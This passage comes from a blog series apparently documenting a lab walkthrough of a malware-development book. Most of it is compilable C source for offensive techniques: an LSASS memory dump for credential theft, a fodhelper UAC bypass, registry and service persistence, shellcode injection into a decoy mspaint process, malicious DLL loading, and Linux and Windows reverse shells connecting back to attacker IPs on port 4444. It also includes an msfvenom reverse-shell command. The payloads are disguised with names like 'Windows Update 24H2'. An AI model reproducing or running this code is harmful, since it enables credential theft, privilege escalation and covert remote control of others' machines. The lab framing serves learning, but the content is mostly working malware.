    To build: x86_64-w64-mingw32-gcc 04_dump_lsass.c -o dump.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -ldbghelp
*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include <dbghelp.h>
#pragma comment (lib, "dbghelp.lib")

const char *targetProcess = "lsass.exe"; // process to find
LPCWSTR dumpFile = L"C:\\Users\\Public\\Desktop\\lsass.dmp"; // where the proc dump should go, the dir should already exist, else CreateFile will fail

// my custom code, find a specific process
DWORD findProcess(const char *procName) {
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;
    DWORD winlogonPID = 0;

    // Take a snapshot of all processes in the system.
    // https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        return 0;
    }

    pe32.dwSize = sizeof(PROCESSENTRY32);

    // Retrieve information about the first process.
    if (Process32First(hProcessSnap, &pe32)) {
        do {
            // Check if the process name matches (0 indicates identical)
            if (_stricmp(pe32.szExeFile, procName) == 0) {
                winlogonPID = pe32.th32ProcessID;
                break; // Exit the loop once we find the process
            }
        } while (Process32Next(hProcessSnap, &pe32));
    }

    // Clean up the snapshot object.
    CloseHandle(hProcessSnap);
    return winlogonPID;
}

// set privilege
BOOL setPrivilege(LPCTSTR priv) {
    HANDLE token;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    BOOL res = TRUE;

    // takes the name of the privilege from arg and attempts to find it in system
    // https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegevaluew   
    if (!LookupPrivilegeValue(NULL, priv, &luid)) res = FALSE;

    // attempt to open the proc token with the ability to adjust privs
    // https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token)) res = FALSE;

    // create a new token priv object and enable the privilege
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    // use the token priv object to enable the privilege
    // https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges
    if (!AdjustTokenPrivileges(token, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) res = FALSE;

    // cleanup
    CloseHandle(token);
    printf(res ? "privilege enabled %s\n" : "failed to enable privilege %s \n", priv);
    return res;
}

// create minidump of lsass.exe
BOOL generateMiniDump() {
  BOOL dumpSuccess = FALSE;
  DWORD processID = findProcess(targetProcess);
  HANDLE processHandle = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 0, processID);
  HANDLE outputHandle = CreateFileW(dumpFile, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  if (processHandle && outputHandle != INVALID_HANDLE_VALUE) {
    // dump proc with mem
    // https://learn.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump
    dumpSuccess = MiniDumpWriteDump(processHandle, processID, outputHandle, MiniDumpWithFullMemory, NULL, NULL, NULL);
    printf(dumpSuccess ? "successfully dumped to lsass.dmp\n" : "failed to dump\n");
  } 
  // error handle if the process is not found or an error in dumping the process
  else{
    if (processHandle == NULL) {
            printf("Error: Unable to open process with ID %lu. Error code: %lu\n", processID, GetLastError());
        }
    if (outputHandle == INVALID_HANDLE_VALUE) {
        printf("Error: Unable to create dump file. Error code: %lu\n", GetLastError());
    }
  }
  return dumpSuccess; 
}

int main(int argc, char** argv) {
  if (!setPrivilege(SE_DEBUG_NAME)) return -1;
  if (!generateMiniDump()) return -1;
  return 0;
}

DLL Search Order Hijacking

This tactic seems to come up frequently, it also appeared in chapters 1 and 3. You can find my code where I previously used this exploit in the chapter 03 blog post, here.

The only thing different about this particular approach is that we attempt to find an application that runs as NT Authority\System. Once one is found, we perform the same trick as before, where a DLL is replaced with our malicious DLL. It will then inherit the permissions of the account when our reverse shell is granted. The book uses Discord.exe, which appears to use system privileges when running (for whatever reason).

Circumventing UAC

fodhelper.exe

This executable, found under C:\Windows\System32\fodhelper.exe is utilized to help manage Optional Features in Windows. Booting the application up launches the Settings > System > Optional Features pane.

Using sigcheck.exe -a -m c:\\windows\\system32\\fodhelper.exe on my Flare-VM Windows10 vm, it launches the SysInternal's SigCheck utility. The manifest provides details that execution of this application requires admin privileges:

Using procmon, we can monitor what registry values the executable attempts to query. The book showcases a \Shell\Open\command registry key that does not actually exist:

registry key that does not exist

By creating a registry key here to spawn a command shell, it can spawn with elevated privileges.

/*
    PrivEsc - Token Theft
    25 Jan 2025
    Eric

    To build: x86_64-w64-mingw32-gcc 04_uac_bypass.c -o tetris.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
*/

#include <windows.h>
#include <stdio.h>

int main() {
    HKEY registryKey;
    DWORD disposition;

    const char* registryPath = "Software\\Classes\\ms-settings\\Shell\\Open\\command";
    const char* command = "cmd /c start C:\\Windows\\System32\\cmd.exe"; // default program
    const char* delegateExecute = "";

    // Attempt to open the registry key
    // https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexw
    // disposition is set but never seems to be read from or used
    LSTATUS status = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR)registryPath, 0, NULL, 0, KEY_WRITE, NULL, &registryKey, &disposition);
    printf(status != ERROR_SUCCESS ? "Failed to open or create the registry key.\n" : "Successfully created the registry key.\n");

    // sets the default value to our command
    status = RegSetValueEx(registryKey, "", 0, REG_SZ, (unsigned char*)command, strlen(command));
    printf(status != ERROR_SUCCESS ? "Failed to set the registry value.\n" : "Successfully set the registry value.\n");

    // creates a DelegateExecute value set to null
    status = RegSetValueEx(registryKey, "DelegateExecute", 0, REG_SZ, (unsigned char*)delegateExecute, strlen(delegateExecute));
    printf(status != ERROR_SUCCESS ? "Failed to set the registry value: DelegateExecute.\n" : "Successfully set the registry value: DelegateExecute.\n");

    // Close the registry key handle
    RegCloseKey(registryKey);

    // Start the fodhelper.exe program
    SHELLEXECUTEINFO shellExecuteInfo = { sizeof(shellExecuteInfo) };
    shellExecuteInfo.lpVerb = "runas";
    shellExecuteInfo.lpFile = "C:\\Windows\\System32\\fodhelper.exe";
    shellExecuteInfo.hwnd = NULL;
    shellExecuteInfo.nShow = SW_NORMAL;

    if (!ShellExecuteEx(&shellExecuteInfo)) {
        DWORD error = GetLastError();
        printf (error == ERROR_CANCELLED ? "The user refused to allow privilege elevation.\n" : "Unexpected error! Error code: %ld\n", error);
    } else {
        printf("Successfully created the process\n");
    }

    return 0;
}

Per this blogpost, if Windows Defender is enabled, the modification of the registry for UAC is flagged as Win32/UACBypassExp and can be removed. The author appeared to be on a Win10 1903 build. I am currently on 22H2, 1904.3803. I tried a few methods for this, it does write the command to the registry, but the command window that spawns is still non-privileged. Changing the command to cmd /c powershell.exe further confirms the full command does not seem to run, it spawns the cmd.exe but powershell.exe never boots. Will have to do more investigation into if this was finally patched. Most articles about this exploit are a few years old.

Malware Dev - Chapter 03 - Persistence

2025-01-21T00:34:05-05:00

Continued series from the Malware Development for Ethical Hackers Book.
GitHub repo: EricTurner3 - Malware_Development.

This chapter contains methods to achieve persistence of malware in Windows.

Registry Keys

Run Registry Key

The book utilizes a dummy code to pop up a message window using the registry persistence. I re-used my reverse shell windows code from chapter 1, cleverly named Update.exe. In my version, I named the new application StartUpdate.exe for persistence. This requires the reverse shell executable to be in C:\\Update.exe. Once StartUpdate.exe is ran, it appears that nothing occurred. Once the system is rebooted or the user logs out and back in, Update.exe fires and the reverse shell is granted:

Top: Windows machine showing Update.exe and the new registry key.
Bottom: Reverse shell connection successful

/*
    Persistence - Run
    20 Jan 2025
    Eric

    To build: x86_64-w64-mingw32-gcc 03_registry_persist.c -o StartUpdate.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
*/
#include <windows.h>
#include <string.h>

int main(){
    HKEY hkey = NULL;

    // path to executable
    const char* exe = "C:\\Update.exe";

    //open startup reg key, save into hkey
    LONG result = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hkey);

    // check for success
    if (result == ERROR_SUCCESS){
        // create key for persistence
        RegSetValueEx(hkey, (LPCSTR)"Windows Update 24H2", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
        RegCloseKey(hkey);
    }

    return 0;
}

Winlogon Registry Key

A different tactic is updating the Winlogon registry key. In this variation, we append the name of our malicious executable to the existing value explorer.exe.

The code is almost the same as the above, with the exception of the key being opened is SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon, and the value we are modifying is Shell. The malicious C:\\Update.exe gets relocated to C:\\Windows\\System32\\update.exe. I compiled the code to UpdateLogon.exe and executed it on the Windows VM. After a simple reboot, the update.exe launches almost immediately and the reverse shell connects in our linux shell.

DLL Search Order Hijacking

This is a fascinating one to me. Using Process Monitor (procmon), set up a filter system for the target application, in this instance Internet Explorer (iexplore.exe). Look for any instances where the executable searches for a DLL and it is not found.

Process Monitor filter

Apply the filter and then launch the target application.

Process Monitor filter results

As the application starts, all of the DLLs the application tries to load show up here. In this instance, none of them exist. Fortunately, all of these also exist inside of the application's directory, instead of system DLLs that could be found in someplace such as C:\\Windows\\System32.

A malicious DLL can be created with the name of one of the above not found DLLs. Thus, when the target application is launched again, it will fire the malicious DLL.

I reused the same DLL I used from the last chapter; my custom made reverse-shell DLL. I renamed this file suspend.dll and placed in the Internet Explorer root directory. Internet Explorer is no longer supported, and launching this application just quickly launches Microsoft Edge. However, the launch is still enough to attach our DLL and link our reverse shell.

A malicious suspend.dll that triggers a reverse shell

Windows Service

The example in the book performs another two-stage attack. msfvenom is used to create the reverse tcp payload and saved to an executable. Then, a second program is created to essentially set the msfvenom payload as a service.

Instead, we have already used a TCP reverse listener in C from prior exercises. I combined the logic in order to have a single executable that is able to register itself as a tcp listener.

/*
    Persistence - Service
    20 Jan 2025
    Eric

    To build: x86_64-w64-mingw32-gcc 03_service_persist.c -o StartUpdate.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
*/
#include <windows.h>
#include <string.h>
#include <stdio.h> //for printf

#define SLEEP_TIME 5000

// payload to connect back to 10.0.3.4:4444
unsigned char payload[] = "...";

size_t payload_size = sizeof(payload);

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hStatus;

void ServiceMain(int argc, char** argv);
void ControlHandler(DWORD request);

// reverse shell
void PhoneHome() {
    // allocate memory for the payload
    void *alloc_mem = VirtualAlloc(NULL, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(alloc_mem == NULL){
        printf("memory allocation failed: %lu\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    // copy the payload into the newly allocated memory buffer
    memcpy(alloc_mem, payload, payload_size);

    // cast the memory buffer to a function pointer, then call the function to execute
    void (*execute)() = (void (*)())alloc_mem;
    execute();

    // clean up (will most likely not be reached as the rev shell will hang during execute)
    VirtualFree(alloc_mem, 0, MEM_RELEASE);

}

int main(){
    SERVICE_TABLE_ENTRY ServiceTable[] = {
    {"WindowsProUpdateSvc", (LPSERVICE_MAIN_FUNCTION) ServiceMain},
    {NULL, NULL}
  };

  StartServiceCtrlDispatcher(ServiceTable);
  return 0;
}

// this is the main function to start our service and handle any future requests for state change
// https://learn.microsoft.com/en-us/windows/win32/services/service-servicemain-function
void ServiceMain(int argc, char** argv) {
    serviceStatus.dwServiceType        = SERVICE_WIN32;
    serviceStatus.dwCurrentState       = SERVICE_START_PENDING;
    serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
    serviceStatus.dwWin32ExitCode      = 0;
    serviceStatus.dwServiceSpecificExitCode = 0;
    serviceStatus.dwCheckPoint         = 0;
    serviceStatus.dwWaitHint           = 0;

    // call the handler and call our payload function
    hStatus = RegisterServiceCtrlHandler("WindowsProUpdateSvc", (LPHANDLER_FUNCTION)ControlHandler);
    PhoneHome();

    // set the service as running
    serviceStatus.dwCurrentState = SERVICE_RUNNING;
    SetServiceStatus(hStatus, &serviceStatus);

    // logic is handled by PhoneHome, this service app can sleep while service running
    while (serviceStatus.dwCurrentState == SERVICE_RUNNING) {
        Sleep(SLEEP_TIME);
    }
  return;
}

// important for handling a change in status
// https://learn.microsoft.com/en-us/windows/win32/services/service-control-handler-function
void ControlHandler(DWORD request) {
  switch(request) {
    case SERVICE_CONTROL_STOP:
      serviceStatus.dwWin32ExitCode = 0;
      serviceStatus.dwCurrentState  = SERVICE_STOPPED;
      SetServiceStatus (hStatus, &serviceStatus);
      return;

    case SERVICE_CONTROL_SHUTDOWN:
      serviceStatus.dwWin32ExitCode = 0;
      serviceStatus.dwCurrentState  = SERVICE_STOPPED;
      SetServiceStatus (hStatus, &serviceStatus);
      return;

    default:
      break;
  }
  SetServiceStatus(hStatus,  &serviceStatus);
  return;
}

With the service executable built, we can call sc.exe create WindowsProUpdateSvc binpath="C:\\UpdateSvc.exe" start=auto to create our service. Next sc.exe start WindowsProUpdateSvc to start our new service.

service started, reverse shell as NT Authority\System granted

I much preferred my method in combining the payload and service creation executables into a single executable for registration. This persistence method has granted us SYSTEM privileges via our reverse shell. We could additionally ensure the service auto-starts as well for further persistence.

A neat trick I noticed is that as long as the reverse shell was running, the service would not respond to sc.exe stop or sc.exe delete commands. I had to kill the remote shell via my linux machine and then it finally deleted on the host.

Further Loopholes

Uninstall Registry Keys

I did not create code for this exploit, as it is almost identical to the registry persistence code from before, but it instead targets a different registry key.

This particular persistence technique involves navigating to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall and picking a target application from the list to modify.

Uninstall strings

Using any method, the book author writes another c code / executable for this, modify the value for the uninstall strings to instead point to the malicious application. If the user then attempts to go to Control Panel > Uninstall a Program, and uninstalls the target application, it will instead launch the malicious executable. This method of persistence requires the end-user to actively search for the target application and attempt to uninstall it. Theoretically, a script could enumerate all of the applications in the directory and change ALL Uninstall strings to target the malicious executable. It would then have cast a wider net in attempts to secure a launch but still requires the end user to attempt to uninstall an application.

Malware Dev - Chapter 02 - Injection

2025-01-19T18:53:32-05:00

Continued series from the Malware Development for Ethical Hackers Book.

The first part of this chapter deals with process and DLL injection. I will break the APC injection and API hooking

Process Injection

I followed the book in generating a reverse shell payload using msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST-10.0.3.4 LPORT=4444 -f c

This provides an unsigned char buf[] that can be pasted into C code. The original code also requires manually spawning the appropriate process and specifying the PID to inject. Instead, I made a modification to automatically spawn a process and grab the ID to use. Now, when the executable, which I cleverly named PaintLauncher.exe is ran, a copy of MS Paint is launched. In the background, a secret terminal is also launched with it which allows our reverse shell to connect:

/*
    Proc Injection of Reverse TCP
    19 Jan 2025
    Eric

    To build: x86_64-w64-mingw32-gcc 02_proc_injection.c -o PaintLauncher.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

// created with msfvenom, truncated for web view
unsigned char payload[] = "...";

// get size of payload to determine buffer size during injection
unsigned int payload_length = sizeof(payload);

int main(){
    STARTUPINFO si;         // declaration for startupinfo
    PROCESS_INFORMATION pi; // declaration for procinfo

    HANDLE process_handle;  // Handle for the target process
    HANDLE remote_thread;   // Handle for the remote thread
    PVOID remote_buffer;    // Buffer in the remote process

    // Initialize the STARTUPINFO structure
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    //attempt to launch the mspaint decoy process
    if(CreateProcess("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)){
        // grab proc id
        printf("Process created successfully!\n");
        printf("Process ID: %lu\n", pi.dwProcessId);
        process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId);

        // alloc mem for the payload
        remote_buffer = VirtualAllocEx(process_handle, NULL, payload_length, (MEM_RESERVE|MEM_COMMIT), PAGE_EXECUTE_READWRITE);

        // copy payload into buffer
        WriteProcessMemory(process_handle, remote_buffer, payload, payload_length, NULL);

        // Create a remote thread to start payload
        remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL);

        // clean up payload handle
        CloseHandle(process_handle);
        // clean up our decoy process
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
    else{
        printf("CreateProcess failed (%lu).\n", GetLastError());
    }

    return 0;
}

This also shows the connection via System Informer, under the network tab, as mspaint.exe:

DLL Injection

The book uses a MessageBox code to display for the DLL Injection. I instead modified this to instead have my DLL spawn a reverse shell, like before.

/*
    DLL for DLL Injection
    19 Jan 2025
    Eric

    To build: x86_64-w64-mingw32-g++ -shared -o update.dll 02_dll.c -fpermissive
*/

#include <windows.h>

unsigned char payload[] = "...";

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  nReason, LPVOID lpReserved) {
  switch (nReason) {
  case DLL_PROCESS_ATTACH: {
    // Allocate memory for the shellcode
    void* exec_mem = VirtualAlloc(0, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (exec_mem) {
        // Copy the shellcode to the allocated memory
        memcpy(exec_mem, payload, sizeof(payload));

        // Create a thread to execute the shellcode
        HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
        if (hThread) {
            CloseHandle(hThread); // Cleanup
        }
    }
    break;
  }
  case DLL_PROCESS_DETACH:
    break;
  case DLL_THREAD_ATTACH:
    break;
  case DLL_THREAD_DETACH:
    break;
  }
  return TRUE;
}

Next, I repurposed the same code as before to auto-launch mspaint, but instead we attach the DLL.

/*
    Proc Injection of Reverse TCP
    19 Jan 2025
    Eric

    To build: x86_64-w64-mingw32-gcc 02_dll_injection.c -o PaintLauncherDLL.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

char maliciousDLL[] = "C:\\update.dll";
unsigned int dll_length = sizeof(maliciousDLL) + 1;

int main(){
    STARTUPINFO si;         // declaration for startupinfo
    PROCESS_INFORMATION pi; // declaration for procinfo

    HANDLE process_handle;  // Handle for the target process
    HANDLE remote_thread;   // Handle for the remote thread
    PVOID remote_buffer;    // Buffer in the remote process

    // Initialize the STARTUPINFO structure
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    //attempt to launch the mspaint decoy process
    if(CreateProcess("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)){
        // Handle to kernel32 and pass it to GetProcAddress
        HMODULE kernel32_handle = GetModuleHandle("Kernel32");
        VOID *lbuffer = GetProcAddress(kernel32_handle, "LoadLibraryA");

        // grab proc id
        printf("Process created successfully!\n");
        printf("Process ID: %lu\n", pi.dwProcessId);
        process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId);

        // alloc mem for the payload
        remote_buffer = VirtualAllocEx(process_handle, NULL, dll_length, (MEM_RESERVE|MEM_COMMIT), PAGE_EXECUTE_READWRITE);

        // copy payload into buffer
        WriteProcessMemory(process_handle, remote_buffer, maliciousDLL, dll_length, NULL);

        // Create a remote thread to start payload
        remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)lbuffer, remote_buffer, 0, NULL);

        // clean up payload handle
        CloseHandle(process_handle);
        // clean up our decoy process
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
    else{
        printf("CreateProcess failed (%lu).\n", GetLastError());
    }

    return 0;
}

And again, we have reverse shell, with the actual shellcode now in an update.dll hidden elsewhere instead of in the executable itself:

reverse shell

The memory view of mspaint.exe shows our C:\\update.dll running:

custom DLL running inside mspaint.exe

APC Injection

The APC injection is very similar to the samples I modified above. It starts a process via C, buit instead starts it in a suspended state. The payload is still copied into the memory as before, however instead of using CreateRemoteThread, a PTHREAD_START_ROUTINE in conjunction with a QueueUserAPC call is used to execute the shell code. Comparison of the difference of proc injection vs APC injection side-by-side, it is very similar.

// dll injection
int main() {
  // Create a 64-bit process:
  STARTUPINFO startupInfo;
  PROCESS_INFORMATION processInfo;
  LPVOID myPayloadMem;
  SIZE_T myPayloadLen = sizeof(myPayload);
  LPCWSTR cmd;
  HANDLE processHandle, threadHandle;
  NTSTATUS status;

  ZeroMemory(&startupInfo, sizeof(startupInfo));
  ZeroMemory(&processInfo, sizeof(processInfo));
  startupInfo.cb = sizeof(startupInfo);

  CreateProcessA(
    "C:\\Windows\\System32\\notepad.exe",
    NULL, NULL, NULL, FALSE,
    0, NULL, NULL, &startupInfo, &processInfo
  );

  processHandle = processInfo.hProcess;

  // Allocate memory for payload
  myPayloadMem = VirtualAllocEx(processHandle, NULL, myPayloadLen,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  // Write payload to allocated memory
  WriteProcessMemory(processHandle, myPayloadMem, myPayload, myPayloadLen, NULL);

 threadHandle = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)myPayloadMem , NULL, 0, NULL);

  return 0;
}

//apc injection
int main() {
  // Create a 64-bit process:
  STARTUPINFO startupInfo;
  PROCESS_INFORMATION processInfo;
  LPVOID myPayloadMem;
  SIZE_T myPayloadLen = sizeof(myPayload);
  LPCWSTR cmd;
  HANDLE processHandle, threadHandle;
  NTSTATUS status;

  ZeroMemory(&startupInfo, sizeof(startupInfo));
  ZeroMemory(&processInfo, sizeof(processInfo));
  startupInfo.cb = sizeof(startupInfo);

  CreateProcessA(
    "C:\\Windows\\System32\\notepad.exe",
    NULL, NULL, NULL, FALSE,
    CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInfo
  );

  // Allow time to start/initialize.
  WaitForSingleObject(processInfo.hProcess, 50000);
  processHandle = processInfo.hProcess;
  threadHandle = processInfo.hThread;

  // Allocate memory for payload
  myPayloadMem = VirtualAllocEx(processHandle, NULL, myPayloadLen,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  // Write payload to allocated memory
  WriteProcessMemory(processHandle, myPayloadMem, myPayload, myPayloadLen, NULL);

  // Inject into the suspended thread.
  PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)myPayloadMem;
  QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, (ULONG_PTR)NULL);

  // Resume the suspended thread
  ResumeThread(threadHandle);

  return 0;
}

API Hooking

I did not re-create these examples, as they were simple message box manipulations. The example for API hooking uses a five-byte hook to overwrite the call with a JMP to the custom code, and then execute the custom code.

The original function call address is calculated. Then using memcpy, \xE9 for JMP is loaded into memory along with the offset for the address of the modified function address. Using a new function, a separate library is then loaded and called instead.

In the example, (originalCatFunc)("meow-squeak-tweet!!!") is called instead of the intended (originalCatFunc)("meow-meow").

//excerpt of the C example code
int __stdcall myModifiedCatFunction(LPCTSTR modifiedMessage) {
  HINSTANCE petDll;
  OriginalCatFunction originalCatFunc;

  // unhook the function: restore the original bytes
  WriteProcessMemory(GetCurrentProcess(), (LPVOID)hookedFunctionAddress, originalBytes, 5, NULL);

  // load the original function and modify the message
  petDll = LoadLibrary("pet.dll");
  originalCatFunc = (OriginalCatFunction)GetProcAddress(petDll, "Cat");

  return (originalCatFunc)("meow-squeak-tweet!!!");
}

// logic for installing the hook
void installMyHook() {
  HINSTANCE hLib;
  VOID *myModifiedFuncAddress;
  DWORD *relativeOffset;
  DWORD source;
  DWORD destination;
  CHAR patch[5] = {0};

  // obtain the memory address of the original Cat function
  hLib = LoadLibraryA("pet.dll");
  hookedFunctionAddress = GetProcAddress(hLib, "Cat");

  // save the first 5 bytes into originalBytes buffer
  ReadProcessMemory(GetCurrentProcess(), (LPCVOID)hookedFunctionAddress, originalBytes, 5, NULL);

  // overwrite the first 5 bytes with a jump to myModifiedCatFunction
  myModifiedFuncAddress = &myModifiedCatFunction;

  // calculate the relative offset for the jump
  source = (DWORD)hookedFunctionAddress + 5;
  destination = (DWORD)myModifiedFuncAddress;
  relativeOffset = (DWORD *)(destination - source);

  // \xE9 is the opcode for a jump instruction
  memcpy(patch, "\xE9", 1);
  memcpy(patch + 1, &relativeOffset, 4);

  WriteProcessMemory(GetCurrentProcess(), (LPVOID)hookedFunctionAddress, patch, 5, NULL);
}

This could be utilized to intercept a library call and replace it with our own. I think this, in conjunction with DLL hijacking could be beneficial. If a compromised DLL is loaded before the legitimate DLL, it could have similar code to above to make an application perform operations that were not original intended. I think in terms of the sample code, it defeats the purpose a bit to have the overwrite in the same app as the regular function call, but it is just for learning purposes.

Malware Dev - Chapter 01

2025-01-18T20:57:43-05:00

I recently picked several new books from Packt, including Malware Development for Ethical Hackers. This book aims to demonstrate some of the techniques seen in malware, and showcase writing similar samples using C/C++ for both Windows and Linux operating systems.

My codebase as I work through this book can be found on my GitHub, here.

Reverse Shells

The first examples dive into creating reverse shells.

Linux Reverse Shell

My compiled reverse shell for linux.

It worked! The book does not actually talk about compiling or executing the first example for linux, but I went ahead with gcc to compile and then execute the program. I added some additional comments to my code for helping me (and others) in what some of the calls are doing. I have programmed for over a decade at this point, but I only had a brief stent with C related programming back during college, and nothing involving networking.

/*
    Linux-Only Reverse Shell
    18 Jan 2025
    Eric

    To build: gcc rev_shell.c
*/
#include <stdio.h>          // C standard input/output
#include <unistd.h>         // POSIX OS API
#include <netinet/ip.h>     // Internet Address Family
#include <arpa/inet.h>      // defs for internet operations
#include <sys/socket.h>     // sockets

int main(){
    const char* attacker_ip = "10.0.2.15";

    // build address / port structure
    // https://learn.microsoft.com/en-us/windows/win32/api/ws2def/ns-ws2def-sockaddr_in
    struct sockaddr_in target_address;
    target_address.sin_family = AF_INET;                // internet
    target_address.sin_port = htons(4444);              // convert port to binary
    // https://www.ibm.com/docs/en/zos/3.1.0?topic=lf-inet-aton-convert-internet-address-format-from-text-binary
    inet_aton(attacker_ip, &target_address.sin_addr);   // convert string address into binary

    // create socket
    int socket_file_descriptor = socket(AF_INET, SOCK_STREAM, 0);

    // connect
    connect(socket_file_descriptor, (struct sockaddr *)&target_address, sizeof(target_address));

    // link stdinput 0, stdoutput 1, stderror 2 to socket
    for (int index = 0; index < 3; index++){
        dup2(socket_file_descriptor, index); 
    }

    // spawn shell
    execve("/bin/sh", NULL, NULL);

    return 0;
}

Windows Reverse Shell

Similar concept but using win32 API calls instead. gcc also cannot be used as a compiler while building on linux, but instead a mingw compiler to cross-compile for Windows.

$ i686-w64-mingw32-g++ rev_shell_windows.c -o Update.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

This behemoth of a command

-lws2_32 loads the ws2_32 library
-s strips the symbol table and reloc info
-ffunction-sections places each function in its own section
-fdata-sections places each global variable in its own section
-Wno-write-strings suppresses warnings for writing string literals
-Fno-exceptions disables exception handling support
-fmerge-all-constants merges identical constants to reduce size
-static-libstdc++ includes a static link of libstdc++
-static-libgcc includes a static link of libgcc
-fpermissive allows compiler to be more permissive when running into issues

I had to reconfigure my two linux / windows VMs to be able to properly communicate using a new NAT network with DHCP on 10.0.3.1/24. With the appropriate IP addresses configured for each box, and the code given this new network adapter IP, the reverse shell is successful:

Python Web Server used to get the file onto the windows VM. Execution confirms a reverse shell in bottom left terminal.

/*
    Windows-Only Reverse Shell
    18 Jan 2025
    Eric

    To build: i686-w64-mingw32-g++ 01_reverse_shell_windows.c -o Update.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
*/

#include <winsock2.h>           // Sockets https://learn.microsoft.com/en-us/windows/win32/api/winsock2/
#include <stdio.h>              // C standard input/output
#pragma comment(lib, "w2_32")   // tells linker to use ws2_32.lib 

//variables
WSADATA socketData;
SOCKET mainSocket;
struct sockaddr_in connectionAddress;
STARTUPINFO startupInfo;                //https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfow
PROCESS_INFORMATION processInfo;

int main(int argc, char* argv[]){
    // attacker connection info
    char *attackerIP = "10.0.3.4";
    short attackerPort = 4444;

    // init socket library, version 2.2
    WSAStartup(MAKEWORD(2,2), &socketData);

    // create TCP IPv4 socket
    // https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasocketw
    // book uses (unsigned int)NULL instead of 0 for group and flags, which I have no idea why
    mainSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    // build IPv4 IP:PORT connection struct
    connectionAddress.sin_family = AF_INET;
    connectionAddress.sin_port = htons(attackerPort);
    connectionAddress.sin_addr.s_addr = inet_addr(attackerIP);

    // connect
